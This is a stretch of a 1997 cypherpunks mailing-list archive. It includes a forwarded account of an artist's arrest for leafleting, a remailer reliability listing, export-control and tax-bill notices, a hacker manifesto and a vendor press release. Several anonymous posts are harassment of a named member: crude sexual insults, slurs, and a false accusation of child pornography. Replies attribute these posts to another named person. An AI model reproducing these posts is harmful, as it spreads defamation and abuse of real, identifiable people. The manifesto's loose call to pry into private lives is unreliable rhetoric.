junk then go to: http://catalog.com/tsw/efilter/ and download
this program. It will do the repelling job for you automatically.
Is this a great time to be alive or what?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 16 Mar 1997 18:49:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Arrested for handing out leaflets about the 1st Amendment  (fwd)
Message-ID: <Pine.GSO.3.95.970316214828.16951F-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------


From: ARTISTpres@aol.com

I Was Arrested 
For Handing Out a Leaflet
about the First Amendment
by Robert Lederman

On March 10th and 11th, 1997 eight members of A.R.T.I.S.T. and I
drove to Washington, D.C. from New York to hand out leaflets about
a Supreme Court case in which we are plaintiffs. Our case involves
the right of artists to sell paintings, sculptures and other works of
fine art on the street without a license, based on freedom of speech.
We'd each been arrested numerous times for selling our art and had
recently won a favorable decision in the 2nd circuit Federal Appeals
Court. Now New York City was appealing that decision to the U.S.
Supreme Court. Legal briefs filed by the City claim that art does not
express ideas and is unworthy of full First Amendment protection.

On the 10th and 11th, thousands of museum directors, arts attorneys,
curators and heads of cultural institutions were in Washington for
Arts Advocacy Day. It was an opportunity to reach influential people
who'd be directly affected by the outcome of our case. We planned to
quietly stand on the public sidewalk outside Art Advocacy Day events
and give out leaflets describing the Supreme Court appeal and the
issue of artists' First Amendment rights. 

Everywhere we went in D.C. the police said we needed a permit to
hand out even one leaflet and threatened us with arrest. They also
claimed that even if we had a permit we would not be able to hand out
literature in front of the event locations because they were Federal
property. After explaining what we were doing and the subject of the
leaflet, we continued to give out our literature while the police
threatened us with arrest and conferred with supervisors and city
attorneys about handling the situation.

Our literature distribution efforts were successful. By the end of the
two days we'd managed to contact most of the Art Advocacy Day
participants in D.C. We decided to make one final stop in front of the
U.S. Capitol to create a few paintings as a visual statement about free
expression. Many of the art advocates were inside the Capitol
building meeting with members of Congress. 

While the other artists painted I stood on the public sidewalk in front
of the Capitol with a handful of literature. Everywhere around me
were tourists and elected officials posing with lobbyists from various
corporations and special interests. Before handing out a single leaflet
I was approached by a sergeant from the Capitol Hill Police who
explained that giving out literature was forbidden, but that I could
apply for a permit which, if granted, would give me the right to
demonstrate about 300 feet from the building in an isolated area. I
explained to the officer that I'd be leaving D.C. in an hour, that I was
not demonstrating, and that the First Amendment protected my right
to quietly hand out a leaflet on a public sidewalk without a permit. He
agreed that it probably did but informed me that I'd be arrested if I
continued.

In New York City I've been arrested 13 times for selling my paintings
on the street, for making a speech, for protesting and for distributing
literature about artists' rights. Although generally cooperative with
the police and willing to comply with reasonable demands, I draw the
line at being told I can't give away free literature on a public
sidewalk.

I explained my position to the officer and to the various Metro D.C.,
Federal undercover and Capitol Hill Police that eventually gathered
around me. Meanwhile, members of Congress and well dressed
lobbyists continued to exchange business cards, pose for photos and
discuss issues on the same sidewalk where I stood with the police. 

A warning was issued that if I handed out one more leaflet I'd be
arrested. A man wearing an Arts Advocacy pin walked by and asked
what I was giving out. I explained that I couldn't give him a leaflet
without being arrested but that he could take one from the pile in my
hand. When he did I was handcuffed and led to a waiting police car.
Above, a uniformed man with a machine gun watched from the roof.

I was transported and booked into two separate police stations,
repeatedly searched and charged with demonstrating without a permit.
Federal intelligence officers interviewed me to determine if I was a
terrorist. They asked questions about my political agenda, studied my
leaflets and eventually agreed that what I did was probably protected
by the First Amendment. I'll be standing trial in D.C. Superior Court
on June 9th and face a $350 dollar fine and 90 days in jail. All of my
property was returned except the leaflets, which are being held as
evidence of my crime.

After posting bail I was released and returned to the Capitol building
grounds to tell reporters there what had occurred. "Oh well, there's
nothing we can do", one said. "We're constantly being threatened
with arrest here ourselves".

I'll be going back to D.C. in June to stand trial. Meanwhile I'm
looking for an attorney and writing a new leaflet about free speech
and freedom of the press to give out at the Capitol. 

For information on the street artist Federal lawsuit or A.R.T.I.S.T.
(Artists' Response To Illegal State Tactics) visit the A.R.T.I.S.T.
web page at:
http://www.openair.org/alerts/artist/nyc.html or
contact Robert Lederman, artistpres@aol.com (718)
369-2111 or (212) 334-4327 Press kits, photos of this
and other arrests are available.



--
<HTML><A HREF="http://www.eff.org/~mech">     Stanton McCandlish
</A><HR><A HREF="mailto:mech@eff.org">        mech@eff.org
</A><P><A HREF="http://www.eff.org">          Electronic Frontier Foundation
</A><P>      Program Director    </HTML>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 03:32:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703170930.BAA00616@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] Mayo's obsessive masturbation has lead to 
advanced degree of blindness and hairy palms.

              __MMM__
               (o o)
         -ooO---(=)---Ooo- Timmy C[retin] Mayo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 04:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703171056.CAA18972@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Timmy C. May's babblings are preposterous lies, 
wild distortions, child pornography (both as graphic 
descriptions and in JPEG format), ethnic slurs, and racial 
epithets.

    /o)\ Timmy C. May
    \(o/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Mon, 17 Mar 1997 00:06:41 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Dark Fiber Redux
In-Reply-To: <v03020900af51a5634a2b@[204.179.136.89]>
Message-ID: <Pine.LNX.3.95.970317025954.144I-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Mar 1997, Robert Hettinga wrote:

-> In theory, at least, everyone gets a color, or frequency, and they listen
-> on that frequency for their inbound stuff. If you want to send someone
-> something, you literally tune them in and send it. Actually, I see these
-> frequencies using CDMA carrier waves when it eventually happens, but you
-> get the idea.

Wouldn't spread-spectrum have many advantages over the assigned frequency
scheme?


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darthvdr@fascination.com (leave blank)
Date: Mon, 17 Mar 1997 03:30:54 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199703171133.EAA06232@fascination.com>
MIME-Version: 1.0
Content-Type: text/plain


l3T m3 0n +h3 l12+!!
The time to think about the world is now!
	I am by far not even close to an environmentalist. In fact I hate those 
types but they do have one point . . .  pollution! Pollution in corporate 
America is what kill more men than AIDS. You have to slow this. You are the 
outraged youth and YOU are the Future! Get your head out of your ass and 
learn all you can. We cannot fight the genocide that is happening in our 
world if we cannot prove it is going on. Search and you will find these 
evils. The information generation is here, without it all of man kind could 
die by the year 2050. I may not be here to suffer the agonizing death that 
awaits but guess what . . .  you will. We can only save this world by 
connecting and spreading the word. Corporations are prepared to exterminate 
us all and retire to their own little world. They fed us all with lies about 
how they are concerned but in reality they are planning for it. They are 
stashing food and supplies all over the world for their own version of 
doomsday. The big businesses will build an empire of technology around you 
and slowly kill you. They will have the world to them selves at no means. 
With you dieing in the streets of a toxic overload they will sit back in 
their hideaways enjoying the rest of their lives! You can stop them and only 
you. Expose their secrets. Find the proof we need to wipe them out for good! 
Or you all will die in their dream world! What I am shooting to you in so 
many words is that the world needs hackers to find out what is going on 
behind our backs. I am saying that the masses need to know what the rich ass 
holes in their little dream world want to do with us. How would you like to 
wake up one morning and everyone in the world is dead? This is what hackers 
need to stop. We the people of the world need to stop all of this shit! 
Technology is a force witch the United States Totalitarian government must 
deal with. Everyone exposes the truths they hide from the people who live 
here! No longer can a police officer kill a man in cold blood and pretend 
that it never happened. The age of computers and mass media expose the hard 
core facts of the governments' brutal murders and deadly tempers. So what 
has happened to this world which they control us and beat us into their 
beliefs? The truth is that we have discovered "Big Brothers" little tricks! 
We are the truth of tomorrow! We see what the fascists of American 
government do when they plan to kill those who appose them. People like you 
and me tell those who will expose these truths to the citizens of our 
country. We serve our prison time for exposing these truths but hell. There 
is not even as many of them to kill us all as we are the world. Please 
understand that there is much in this world you do not yet know, the murders 
that have happened and the killing that will come. The time to think about 
this is now! You are sitting at a cross roads of life with the age of world 
freedom at your finger tips. What are you going to do about it? Learn about 
the world around you! Peep into their private little lives! I am not afraid 
of them, they must frame me for any thing they could ever arrest me for! 
They are stupid that way, but you can take the knowledge that you see and 
stop the killing! You can support the abolishment of the forming of the New 
World Order! Simply use your knowledge to see what is up! Expose this 
information to whoever can use it. Let everyone in the world know what is 
going on. People in our government hate us. Have you ever asked your self 
why? I will tell you why our government hates you. The truth is that you are 
young and smarter at twenty and twenty-one then they will ever be. You know 
information that they were hidden from. Are you tired of being called the 
problem with the world? Clinton calls us the problem, The Republicans all 
call us the problem, Dole called us "the only problem" WHY? We are smarter 
then them! That is all they are complaining about! I mean they are afraid of 
us all. They increase the fear of technology every day by printing evil 
headlines about "invasion of privacy" and thefts! These stories are mostly 
fiction! The real hackers do not care about the private sector . . .  well 
they do but not to "steal" from them. The truth in it all is that anarchist 
computer users are only interested in information. Public people do not have 
this information and there for are not in danger! That is what we all need 
to explain to everyone. That is what all of the world should know. So why do 
people fear us? It is big business that is afraid. They have secrets that 
the people of the world CANNOT know! They are evil in so many ways it makes 
people sick. We expose these secrets! That is why they fear us! The 
corporations of the world do not want people to be free. They want you all 
to be stupid and to live in fear. They distort the truth of reality. Big 
businesses are trying to rule the world and fear us of exposing that! They 
create propaganda against us, and lie about us to the public. They have us 
arrested and thrown in jail for exposing their secrets to the world. 
However, together we can all stop them! To organize and inform these evils. 
To break down these lies and start a world of passing truths! You have never 
seen the world behind what these corporations show you. Do you want to? The 
truth is that this is the ugliest world in any ones' mind. All you have to 
do is look for it. When you see the ugliness then you must show it around. 
Give a glimpse of this evil to everyone in the world. Collapse what is wrong 
and there will be the entire earth to thank you for their lives.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 17 Mar 1997 02:08:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Diffie-Hellman
Message-ID: <199703171008.FAA13401@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck Timmy C[unt] May in the ass, a rabid tapeworm might bite 
your penis.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- Timmy C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Mar 1997 06:50:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703171450.GAA13996@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Mar 97 6:49:18 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              #+##-+*#####     7:24  99.99%
nym      config@nym.alias.net             +*-+--+--###  1:19:28  99.97%
middle   middleman@jpunix.com              -----+++-+*    52:00  99.86%
balls    remailer@huge.cajones.com        ####+*# ####     9:36  99.78%
dustbin  dustman@athensnet.com            .- --++++.++  1:08:41  99.74%
lucifer  lucifer@dhp.com                   +++ +++*+++    38:51  99.65%
shaman   remailer@lycaeum.org              ++***+*+*+*    19:59  99.62%
jam      remailer@cypherpunks.ca          *** -**** **  1:15:27  98.80%
winsock  winsock@rigel.cyberpass.net      -- .-------   6:27:37  98.70%
cyber    alias@alias.cyberpass.net        ****+**+ - +  1:03:14  98.67%
weasel   config@weasel.owl.de             +++..-+++++   2:41:25  98.61%
mix      mixmaster@remail.obscura.com     __ _ -_     124:55:44  98.41%
exon     remailer@remailer.nl.com           #  #*#* ##  1:07:00  98.32%
extropia remail@miron.vip.best.com        -.--.-.-_.   21:02:43  98.12%
squirrel mix@squirrel.owl.de               _ . ++++++  11:12:16  93.46%
reno     middleman@cyberpass.net          .*  -* *  -   1:06:39  92.46%
haystack haystack@holy.cow.net             ### ##   +   1:04:07  90.89%
replay   remailer@replay.com              +**--+-+*       38:44  75.55%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Mar 1997 05:19:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: MIR_ror
Message-ID: <1.5.4.32.19970317131226.0073a4dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-17-97:

NYP reports on "white-hat" hackers who work for IBM 
and the like, breaking into corporate systems, testing
insecurity

   "It's hard to find good people in this field who do
   not have criminal records."

Like the NatSec gang -- Shimomuras using secret tech
to chase Mitnicks for the king's coin, praying the infowar 
smoke and mirrors never end, hoping they're on the winning
side of the looking glass.

-----

MIR_ror





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 08:27:38 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Diffie-Hellman
In-Reply-To: <199703171008.FAA13401@dhp.com>
Message-ID: <Pine.A41.3.95.970317092310.89124D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, lucifer Anonymous Remailer wrote:

> Date: Mon, 17 Mar 1997 05:08:11 -0500
> From: lucifer Anonymous Remailer <lucifer@dhp.com>
> To: cypherpunks@toad.com
> Subject: Diffie-Hellman
> 
> your penis.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- Timmy C[unt] May
> 
>From the perverted mind of Vulis.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 08:30:25 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703170930.BAA00616@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317092553.89124F-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

> Date: Mon, 17 Mar 1997 01:30:49 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> To: cypherpunks@toad.com
> 
> Timmy C[retin] Mayo's obsessive masturbation has lead to 
> advanced degree of blindness and hairy palms.
> 
>               __MMM__
>                (o o)
>          -ooO---(=)---Ooo- Timmy C[retin] Mayo
> 
Vulis stay off the list.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 08:32:21 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703171056.CAA18972@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317092751.89124G-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

> Date: Mon, 17 Mar 1997 02:56:28 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> To: cypherpunks@toad.com
> 
> Embedded in Timmy C. May's babblings are preposterous lies, 
> wild distortions, child pornography (both as graphic 
> descriptions and in JPEG format), ethnic slurs, and racial 
> epithets.
> 
>     /o)\ Timmy C. May
>     \(o/
> 
Time for your pills Vulis.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Mar 1997 06:51:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto and Wassenaar Meeting
Message-ID: <1.5.4.32.19970317144414.0074cdec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


DEPARTMENT OF COMMERCE
 
Transportation and Related Equipment Technical Advisory 
Committee; Partially Closed Meeting

    A meeting of the Transportation and Related Equipment Technical 
Advisory Committee will be held March 18, 1997, 9 a.m., in the Herbert 
C. Hoover Building, Room 1617M(2), 14th Street between Constitution & 
Pennsylvania Avenues, NW., Washington, DC. The Committee advises the 
Office of the Assistant Secretary for Export Administration with 
respect to technical questions that affect the level of export controls 
applicable to transportation and related equipment or technology.

General Session

    1. Opening remarks by the Chairman.

    2. Presentation of public papers or comments.

    3. Report on the status of the Wassenaar Arrangement: 
implementation, List Review schedule, and reporting status.

    4. Report on the status of the encryption regulations.

    5. Update on the Missile Technology Control Regime.

    6. Discussion of commercial communications satellite and ``hot 
section'' technology regulations, in particular the status of the fuels 
issue.

Closed Session

    7. Discussion of matters properly classified under Executive Order 
12958, dealing with the U.S. export control program and strategic 
criteria related thereto.

    The General Session of the meeting will be open to the public and a 
limited number of seats will be available. To the extent time permits, 
members of the public may present oral statements to the Committee. 
Written statements may be submitted at any time before or after the 
meeting. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Sun, 16 Mar 1997 14:30:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Wassenaar Arrangement and "sensitive dual-use items"
Message-ID: <85855141610654@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>In my far memory, it was about 50-70 pages.  It seems to
>be a digest or a boneless version.

There are two separate documents here which people are getting confused.  The
first is the text of the Wassenaar arrangement, which is quite short and (as
described by one person who's seen it) "consists of a lot of weasel words".
The second is the one which sets down what is controlled.  This is rather
lengthy, around 100 pages.  The EAR changes which were made in the US contains
some of the text of this document, which predates Wassenaar and is just the
older COCOM text under a new title.  The COCOM text originates from the US, 
and some of the countries still have versions with US spellings even though 
the countries use proper :-) Englishm which indicates its origins.

Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 12:16:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703171843.KAA00592@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's IQ is lower than the belly of a pregnant snake.

         /\**/\
        ( o_o  )_) Timmy May
        ,(u  u  ,),
       {}{}{}{}{}{}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 14:46:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703172040.MAA23689@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Mayflower's family tree goes straight 
up. All of his ancestors were siblings, to 
dumb to recognize each other in the dark.

     o o Tim Mayflower
      o
     \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Mar 1997 10:11:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet Tax Freedom Act
Message-ID: <1.5.4.32.19970317180343.006cb6b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Internet Tax Freedom Act
Introduced in the Senate March 13, 1997

By Senator Wyden (for himself and Senator Kerry):

S. 442. A bill to establish a national policy against State 
and local government interference with interstate commerce on 
the Internet or interactive computer services, and to 
exercise Congressional jurisdiction over interstate commerce 
by establishing a moratorium on the imposition of exactions 
that would interfere with the free flow of commerce via the 
Internet, and for other purposes; to the Committee on 
Commerce, Science, and Transportation.

See bill, Wyden's statements and section-by-section analysis at:

   http://jya.com/s442.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 17 Mar 1997 11:23:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703171921.OAA29596@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] May's IQ is lower than the 
belly of a pregnant snake.

              <<<<
             o(0-0)o
          -ooO-(_) Ooo-- Tim C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 13:39:26 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703171921.OAA29596@holy.cow.net>
Message-ID: <Pine.A41.3.95.970317143443.57696A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Bovine Remailer wrote:

Vulis time for your pills.


> Tim C[unt] May's IQ is lower than the 
> belly of a pregnant snake.
> 
>               <<<<
>              o(0-0)o
>           -ooO-(_) Ooo-- Tim C[unt] May
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 13:42:14 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703171843.KAA00592@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317143817.57696B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

Bad day Vulis.
> Timmy May's IQ is lower than the belly of a pregnant snake.
> 
>          /\**/\
>         ( o_o  )_) Timmy May
>         ,(u  u  ,),
>        {}{}{}{}{}{}
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Mar 1997 13:40:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Musings on the NYTimes article on computer security
Message-ID: <6Baq4D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I liked "linux, a shareware program that is the operating system of choice
for hackers" and the "wide availability of tools for .. 'fingering'".

This reminded me how a couple of years ago I had a long phone conversation
with a journalist from the Washington Post who was convinced (by a certain
idiot from Usenet) that I'm running a hacker BBS. He kept asking me why its
not possible to finger anyone @dm.com. I explained that we're behind a dial-up
uucp connection, not tcp/ip - it was like talking to a wall. "Why are you
hiding behind this, ahem, ucp? What have you got to hide?" I pointed out that
one can't finger anyone @twp.com either - he didn't believe me and promised to
check. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ari Hypponen <Ari.Hypponen@DataFellows.com>
Date: Mon, 17 Mar 1997 07:27:56 -0800 (PST)
To: F-Secure-Press-Global@DataFellows.com
Subject: Data Fellows and Nokia Secure Wireless Corporate Intranet Access
Message-ID: <3.0.32.19970317165909.009cb380@datafellows.com>
MIME-Version: 1.0
Content-Type: text/plain


March 17, 1997

Data Fellows and Nokia Secure Wireless Corporate Intranet Access
- Improved security enables GSM operators to connect Intranets

(Hannover, March 17, 1997) Data Fellows and Nokia Telecommunications have
signed an agreement to integrate Data Fellows' award winning F-Secure VPN
encryption software into Nokia's Artus wireless data networking
solutions. The Nokia Artus solution enables GSM operators to offer secure
corporate Intranet solutions, without the requirement of using costly
leased lines to reach their corporate customers.

"Weakness of remote access security has discouraged remote access to
corporate networks. In partnership with Data Fellows we can now provide GSM
operators with an IP networking solution which meets the strict security
requirements of corporate IT managers. This means new business for GSM
networks," said Petri Pöyhönen, Vice President, Wireless Data Server
Systems at Nokia Telecommunications.

"Intranet remote access outsourced to GSM operators represents an important
market restructuring. In the context of Nokia's Artus Managed Internet
Access Point (IAP) networking solution, we can see immediate potential of
leveraging our encryption technology already widely used for LAN
interconnect," said Risto Siilasmaa, Managing Director at Data Fellows.

Data Fellows' F-Secure VPN encrypts and compresses TCP/IP packets
transmitted over public data networks to private corporate networks.
Military-strength cryptographic security of F-Secure VPN prevents
malicious access to the transferred information. Encryption is implemented
at transport layer and is thus transparent for applications.

A major business potential for wireless operators is to further extend
corporate Intranets to the world of wireless coverage. This enables
businesses to increase their efficiency by ensuring their staff secure,
wireless connectivity to their e-mail, groupware and corporate database
resources.

Remote access to corporate data resources has been traditionally
implemented in corporate premises with dial-in modems. Corporate IT can 
now outsource this costly telecom access technology to GSM operators and
operate in a clean IP protocol environment. Remote access becomes as 
